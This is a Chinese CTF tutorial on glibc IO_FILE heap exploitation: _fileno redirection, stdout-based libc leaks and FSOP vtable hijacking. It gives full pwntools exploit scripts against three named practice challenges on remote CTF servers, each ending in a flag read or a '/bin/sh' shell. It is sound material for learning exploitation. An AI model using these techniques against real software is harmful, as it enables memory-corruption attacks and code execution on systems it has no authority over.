IO_FILE

  • 概述
  • IO_FILE结构介绍
  • 利用_fileno字段
    • 原理分析
    • 一个例子
  • 利用IO_FILE进行leak
    • 原理分析
    • 一个例子
  • FSOP
    • 原理分析
    • 一个例子
  • 总结

pwn题堆利用的一些姿势 – malloc_hook
pwn题堆利用的一些姿势 – free_hook
pwn题堆利用的一些姿势 – setcontext
pwn题堆利用的一些姿势 – exit_hook

概述

  在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。
  主要分为以下几个系列:malloc_hook --> free_hook --> IO_FILE --> setcontext。

IO_FILE结构介绍

  这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数功能实现。
  FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始会自动创建的三个文件即stdin、stdout、stderr,它们是在libc上。
  我们可以从下面的角度开始一步一步认识这种文件结构,在libc-2.23版本中,有个全局变量_IO_list_all,该变量指向了FILE链表的头部,我们可以通过gdb动态调试来实际观察一下。首先认识一个结构体_IO_FILE_plus,所有FILE文件结构都是这样的一个结构体,整个结构体如下代码所示,其中又包括了两个重要的结构体_IO_FILEIO_jump_t

struct _IO_FILE_plus
{_IO_FILE    file;_IO_jump_t   *vtable;
}

  如下面的截图所示,展示的是_IO_list_all变量,其指向FILE链表的头部,结合上面的结构体可知,file对应的就是_IO_FILE结构类型,vtable对应的就是_IO_jump_t类型。在没有创建其它文件结构时,_IO_list_all指向stderr,然后依次是stdout和stdin,这里通过在前面加上结构体类型可以详细的打印其内存数据信息。


  由于_IO_FILE_plus中只是存储了vtable的指针,并没有存储详细的结构信息,所以这里我们进一步打印一下这个指针,看看都有啥。如下截图所示:


  在_IO_FILE结构体中,_chain字段指向下一个链表节点,因此我们可以通过这个字段去打印下一个FILE文件结构体信息。如下截图所示,展示的是stdout文件结构的内存数据信息,其_chain字段指向stdin。


  在上面的截图和文字中简单介绍了有关IO_FILE的结构体以及如何在gdb中进行查阅,不过上面的结构体中包含的信息确实是非常多,很多字段我这里也就不一一介绍了,有些字段会在后面用到时再讲解。

利用_fileno字段

原理分析

  这里原理很简单,通过上面的分析,我们可以看到_fileno的值就是文件描述符,位于stdin文件结构开头0x70偏移处,比如:stderr的fileno值为2,stdout的fileno值为1。在漏洞利用中可以通过修改stdin的_fileno值来重定位需要读取的文件,本来为0的话表示从标准输入中读取,修改为4则表示为从文件描述符为4的文件中读取,这里利用这个点可以直接读取flag。

一个例子

  这里以国赛2019年的题目为例,ciscn_2019_final_2,远程环境可以在buuoj上找到。简单分析一下题目,64位程序,保护全开,同时也启用了沙箱机制,不能直接使用execve系统调用,如下截图所示,程序一开始会读取flag文件,然后将文件描述符复制到666,并关闭原来的文件描述符。


  题目漏洞在释放堆块的函数实现中,如下截图所示,堆块释放后堆指针没有置空,因此存在uaf + double free。同时该程序还有一个额外的读取和打印函数,名为bye_bye,截图也在下面。因此这道题,我们的利用思路就是利用fileno这个属性去打印flag。首先leak libc,计算出stdin+0x70即stdin的fileno字段位置,利用tcache bin attack将堆块分配到这里,修改fileno值为666,最后再调用bye_bye函数,此时scanf函数直接从文件描述符666中读取flag,而不是从标准输入0即我们的终端读取输入。



  下面给出完整的Exp,因为这道题目限制只能分配0x20或者0x10大小的堆,加上使用bool来标记堆块的存在,所以利用double free来分配堆块到目的地址的过程略显复杂,读者可以分步耐心调试一番,定会有所收获。

from pwn import *ld_path = "/home/fanxinli/libc-so/libc-27/ld-2.27.so"
libc_path = "/home/fanxinli/libc-so/libc-2.27-64.so"
# p = process([ld_path, "./ciscn_final_2"], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
# p = process("", env={"LD_PRELOAD":libc_path})
# p = process("")
p = remote("node4.buuoj.cn", 29559)# context.log_level = "debug"r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()def add(tp, num):sa("which command?\n> ", "1")sa("2: short int\n>", str(tp))sa("your inode number:", str(num))def free(tp):sa("which command?\n> ", "2")sa("2: short int\n>", str(tp))def show(tp):sa("which command?\n> ", "3")sa("2: short int\n>", str(tp))def leave():sa("which command?\n> ", "4")# sla("what do you want to say at last? \n", con)# uaf + double free# alloc to chunk_0
add(1, 0x30)   # chunk_0
free(1)
add(2, 0x20)
add(2, 0x20)
add(2, 0x20)
add(2, 0x20)
free(2)
add(1, 0x30)
free(2)
show(2)
ru("inode number :")
info = int(rud("\n"))
print(info, hex(info))# change chunk_0 size
add(2, info-0xa0)
add(2, 0x20)
add(2, 0x91)# leak libc
for i in range(0, 7):free(1)add(2, 0x20)
free(1)
show(1)
ru("inode number :")
info = int(rud("\n"))
print(hex(info))# count
libc = ELF(libc_path)
base = info-0x70-libc.sym["__malloc_hook"]
fileno = base+libc.sym["_IO_2_1_stdin_"]+0x70
print(hex(fileno))# alloc to stdin.fileno
add(1, fileno)
add(1, 0x30)
free(1)
add(2, 0x20)
free(1)
show(1)
ru("inode number :")
info = int(rud("\n"))-0x30
add(1, info)
add(1, 0x30)
add(1, 0x30)
add(1, 666)  # alter stdin.fileno to "666", then scanf will read# get flag
leave()p.interactive()

利用IO_FILE进行leak

原理分析

  这里介绍下利用IO_FILE结构在没有leak的pwn题中进行信息泄露的方式。现将用到的结构体字段简单介绍如下,如果想进一步了解可以参考官方源代码注释。

struct _IO_FILE {int _flags;            // 文件标志,简单的说:像puts一类的输入输出函数要想正确的打印信息就需要正确设置该字段char* _IO_read_ptr;    /* Current read pointer */char* _IO_read_end;    /* End of get area. */char* _IO_read_base;    /* Start of putback+get area. */char* _IO_write_base;    /* Start of put area. */char* _IO_write_ptr;    /* Current put pointer. */char* _IO_write_end;    /* End of put area. */
......
......
}

  在pwn题中,当遇到没有可以用来泄露的功能时,我们一般将堆块分配到stdout指针处存储的_IO_2_1_stdout_该IO_FILE结构体处,修改其_flags为0xfbad1800,将后面三个read指针置空,将_IO_write_base处的第一个字节改为0x58,后面的_IO_write_ptr_IO_write_end保持不变。之后当程序遇到puts函数时就会打印_IO_write_base_IO_write_ptr之间的内容,按照上面步骤改动的话,我们泄露出的第一个libc地址是_IO_file_jumps
  常用的payload如下所示,至于为啥需要flags=0xfbad1800(flags也可以是0xfbad3887),这里分析起来十分复杂,可以参见puts源码,只能说为了达到输出效果需要这样设置,另外该flags这样设置只是针对puts函数,其余打印函数略有不同。

payload = p64(0xfbad1800)+p64(0)*3+b"\x58"

  另外payload也可以这样写,这样泄露出来的第一个地址将会是_IO_2_1_stdin_

payload = p64(0xfbad3887)+p64(0)*3+p8(0)

一个例子

  下面我以2019年sctf的one_heap为例,这道题的代码量不大,程序逻辑也十分清楚,但反而给利用造成些困难。这道题远程环境和二进制文件可以在BUUCTF上获取,整个程序只有add和free两个功能,add和free都有次数限制,并且一次只会记录一个堆地址。下面是存在问题的代码段,在free功能里存在uaf漏洞。

  整个程序利用思路如下,首先利用double free将堆块分配到tcache的控制堆块中,这里用了爆破的思想,覆盖堆指针的后两个字节需要一定几率才能成功;在成功分配到控制堆块后,将0x250的堆块标志位置为7,然后free掉自身,也就是free掉0x250大小的控制堆块,此时该堆块会被放入到unsorted bin中;之后我们先分配出一个较小的堆块并将tcache中小堆块的标记位清0,此时剩下的unsorted bin会将main_arena指针留在0x40和0x50堆块的地址位置,这里我们就尝试覆盖其后两个字节为stdout的地址,同样的这里也会需要爆破;最后当上面两个爆破都成功后,我们就可以用IO_FILE的思路泄露出libc地址,接着分配堆块到free_hook上,修改其为system地址,执行free()即可。完整exp如下:

from pwn import *def new(size, con):p.recvuntil("Your choice:")p.sendline("1")p.recvuntil("Input the size:")p.sendline(str(size))p.recvuntil("Input the content:")p.sendline(con)def free():p.recvuntil("Your choice:")p.sendline("2")def pwn():# double free to unsorted binnew(0x7f, "a")free()free()new(0x7f, p16(0xd010))   # 第一次爆破new(0x7f, "")new(0x7f, p64(0)*4+p64(0x0000000007000000))  # 修改控制堆块free()            new(0x41, b"\x00"*0x40)new(0x10, p64(0x8760))   # 第二次爆破# 修改stdoutnew(0x30, p64(0xfbad1800)+p64(0)*3+b"\x58")# print(p.recv())# pause()libc = "/home/fanxinli/libc-so/libc-2.27-64.so"libc = ELF(libc)info = p.recvuntil("\x7f", timeout=3)  # 没有正确修改stdout的话,这里超时报错info = u64(info.ljust(8, b"\x00"))print(hex(info))base = info-libc.sym["_IO_file_jumps"]print("base ", hex(base))f_hook = base+libc.sym["__free_hook"]sys = base+libc.sym["system"]print("f_hook ", hex(f_hook))print("sys ", hex(sys))# alloc to free_hooknew(0x10, p64(f_hook-8))new(0x70, b"/bin/sh\x00"+p64(sys))free()p.interactive()if __name__ == "__main__":while True:try:p = remote("node3.buuoj.cn", 29213)pwn()except:p.close()

  由于这道题需要两次爆破,所以需要调试的话建议先关闭本地的地址随机化,待代码逻辑无误后再进行测试。我个人在本地测试速度比较块,虽然需要两次爆破,但半分钟之内就可以解决问题,但当打远程时,大概要10几分钟吧,所以各位在调试时如果确认代码没问题,就耐心等待一下吧。

FSOP

原理分析

  FSOP( File Stream Oriented Programming ),是一种劫持_IO_list_all来伪造文件流对象链表的利用技术,通过调用_IO_flush_all_lockp()函数触发。该函数会在下面三种情况下被调用:第一,libc 检测到内存错误从而执行 abort 流程时;第二,执行 exit 函数时;第三,main 函数返回时。
  一般在pwn题中,我们都是构造内存错误,此时会产生一系列的函数调用路径,最终的调用为:_IO_flush_all_lockp --> _IO_OVERFLOW,而这里的_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容 _IO_new_file_overflow,如下截图所示。


  因此我们的利用思路一般是要么直接修改文件流对象,要么伪造一个堆块,修改文件流对象和伪造的堆块结构一样。下面讲一下怎么伪造堆块,首先需要将_IO_list_all_chain指针指向伪造的堆块,这样内存出错时引用的文件流对象才是我们伪造的堆块。之后我们按照如下结构所示对堆块进行伪造,也就是说将堆块伪造成如下的文件流对象结构。

# 设 chunk_addr
{file = {_flags = "/bin/sh\x00", # binsh 字符串     chunk_addr + 0x0_IO_read_ptr = 0x0,_IO_read_end = 0x0,_IO_read_base = 0x0,_IO_write_base = 0x0,   #                  chunk_addr + 0x20_IO_write_ptr = 0x1,    # 保证 ptr > base  chunk_addr + 0x28......},                        # vtable_addr = chunk_addr + 0xd8vtable = heap_addr        # 堆上另一个可控地址 heap_addr = chunk_addr + 0xe0
}heap_addr {__dummy = 0x0,__dummy2 = 0x0,__finish = 0x0,__overflow = system,      # _IO_OVERFLOW 覆盖为 system 的地址,其第一个参数就是chunk_addr ...                     # 因此这样构造我们就实现了 system("/bin/sh\x00")...
}

  关于 FSOP 的具体分析,大家可以进一步参考这篇博文 – IO FILE 之劫持vtable及FSOP。

一个例子

  这里以2016年 hitcon 的 houseoforange 为例,buuctf 上有复现,这道题目本身比较特殊,由该题目也衍生出了一种新的以题目命名的攻击方法 – house of orange ,具体知识点可以参考这篇文章 – CTF pwn题堆入门 – Unsorted bin。
  这道题目分析起来比较简单,重要的是利用方式,这里就不详细分析,漏洞点在于编辑堆块时的长度没有和原堆块做比较,所以存在堆溢出;但是由于没有 free 函数,所以需要 house of orange 的攻击手段。之后由于申请和编辑堆块都有次数限制,不能使用常规的攻击手段,所以这里采用了 FSOP 的方法。
  完整的 exp 脚本如下,另外我将 FSOP 的构造在 gdb 中做了截图,大家可以和上面的分析对照一下。

from pwn import *ld_path = "/home/fanxinli/libc-so/libc-23/ld-2.23.so"
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
# p = process([ld_path, "./houseoforange_hitcon_2016"], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
# p = process("", env={"LD_PRELOAD":libc_path}) # p = process("")
p = remote("node4.buuoj.cn", 28626)# context.log_level = "debug"r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()def add(size, name, prize):sa("Your choice : ", "1")sa("Length of name :", str(size))sa("Name :", name)sa("Price of Orange:", str(prize))sa("Color of Orange:", "1")def show():sa("Your choice : ", "2")def edit(size, name, prize):sa("Your choice : ", "3")sa("Length of name :", str(size))sa("Name:", name)sa("Price of Orange: ", str(prize))sa("Color of Orange: ", "1")# chunk overflow --> house of orange# change top_chunk size
add(0x10, "a", 0)
pad = cyclic(0x10)
pad += p64(0)+p64(0x21)+cyclic(0x8)+p64(0)
pad += p64(0)+p64(0xfa1)
edit(len(pad), pad, 0)# let top chunk to unsorted bin
add(0x1000, "a", 1)# leak libc and heap
add(0x400, cyclic(0x8), 2)  # large bin
show()
libc_info = u64(ru("\x7f")[-6:].ljust(8, b"\x00"))
print("leak: ", hex(libc_info))edit(0x10, cyclic(0x10), 1)
show()
rud("daaa")
heap_info = u64(rud("\n").ljust(8, b"\x00"))
print("leak: ", hex(heap_info))# count
libc = ELF(libc_path)
libc_base = libc_info-0x3c5188
print("libc base: ", hex(libc_base))
io_list_all = libc_base+libc.sym["_IO_list_all"]
system = libc_base+libc.sym["system"]heap_base = heap_info & 0xfffffffffffff000
print("heap base: ", hex(heap_base))# unsorted bin attack + FSOP
pad = cyclic(0x400)
pad += p64(0)+p64(0x21)+cyclic(0x8)+p64(0)fsop = b"/bin/sh\x00"+p64(0x61)+p64(0)+p64(io_list_all-0x10)
fsop += p64(0)+p64(1)
fsop = fsop.ljust(0xd8, b"\x00")vtable_addr = heap_base+0x4f0+0xe0
fsop += p64(vtable_addr)
fsop += p64(0)*3+p64(system)pad += fsop
edit(len(pad), pad, 2)# pause()
# attack
sa("Your choice : ", "1")shell()

  如下截图所示,是对应代码中 pause 处的内存布局。

总结

不忘初心,砥砺前行!

pwn题堆利用的一些姿势 -- IO_FILE相关推荐

  1. pwn题堆利用的一些姿势 -- free_hook

    free_hook 概述 初级必备姿势 常规搭配姿势 按需进阶姿势 总结 pwn题堆利用的一些姿势 – malloc_hook pwn题堆利用的一些姿势 – IO_FILE pwn题堆利用的一些姿势 ...

  2. CTF pwn题堆入门 -- Unsorted bin

    Unsorted bin 序言 概述 攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...

  3. 【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3

    [CTF资料-0x0002]简易Linux堆利用入门教程by arttnba3 老生常谈,[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/10/NOTE- ...

  4. CTF比赛PWN题sgtlibc通用快速解题框架

    CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...

  5. CTF pwn题之格式化字符串漏洞详解

    格式化字符串漏洞详解 概念 如何利用 基本利用方式讲解 常用payload总结 pwntools -- FmtStr类 求偏移 地址泄露 任意地址写 一个例子 总结 概念   格式化字符串漏洞的成因在 ...

  6. pwn在matlab中怎么搭建,PWN题搭建

    0x00.准备题目 例如:level.c #include #include int main(){ char buffer[0x10] ={0}; setvbuf(stdout, NULL, _IO ...

  7. 2022年数维杯国际大学生数学建模挑战赛C题如何利用大脑结构特征和认知行为特征诊断阿尔茨海默病解题过程

    2022年数维杯国际大学生数学建模挑战赛 C题 如何利用大脑结构特征和认知行为特征诊断阿尔茨海默病 原题再现:   阿尔茨海默病(AD)是一种起病隐匿的进行性神经退行性疾病.临床特征为全谱痴呆,包括记 ...

  8. CTF中关于pwn题如何加载目标libc的方法

    问题:在做pwn题的过程中,我们经常会遇到题目提供libc,但是本地调试的时候加载的是本地libc. 解决方法: 方法1: 可以用添加环境变量的方法,如下: export LD_LIBRARY_PAT ...

  9. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

最新文章

  1. python中如何在写文件之前删除文件内容_Python:文件的读取、创建、追加、删除、清空...
  2. command对象提供的3个execute方法是_前阿里P9的Java面试重点3:多线程
  3. You should rebuild using libgmp = 5 to avoid timing attack vulnerability.
  4. 以个人身份加入.NET基金会
  5. c语言第4章作业,《C语言程序设第4章作业.doc
  6. 有人抄袭微信红包和表情被罚了40万!这下“吹牛”可能牛不起来了
  7. java httpurlconnection 开链接后跳转_HttpURLConnection长连接详解
  8. 批处理bat脚本自动配置java的jdk环境变量
  9. 本地Git仓库关联多个远程仓库的两种方法
  10. Atitit.人力资源管理原理与概论
  11. Spring中ClassPathXmlApplication与FileSystemXmlApplicationContext的区别
  12. 研究学习时用到的软件
  13. 时间固定效应和个体固定效应的选择_【十分钟计量经济学】面板数据选择固定效应还是随机效应...
  14. Tensorflow实现进阶的神经网络
  15. 蓝桥杯科学素养题(2020年12月-2021年12月)
  16. IT项目验收规范参考
  17. c语言期末网上考试题目回岔开吗,C语言期末考试题目.doc
  18. iOS:学习音视频的过程
  19. Linux中的echo命令
  20. 携创教育:自学考试有必要吗?自考文凭有用吗?含金量高吗?

热门文章

  1. Google Earth Engine(GEE)对比显示不同城市的地表温度
  2. 高校社团管理系统的设计与实现
  3. 【学习资料】中国开放大学-电大-《教育学》形考作业答案(2018).docx
  4. Nature新子刊创刊首发综述论文:这是你常听到的贝叶斯统计与建模
  5. 问题 L: 分糖果(candy)
  6. matlab修改图例/图注/legend中线条的粗细
  7. Mac安装brew及使用
  8. Mac安装brew,国内推荐使用
  9. div+css(一)
  10. CSS层叠样式表基础知识整理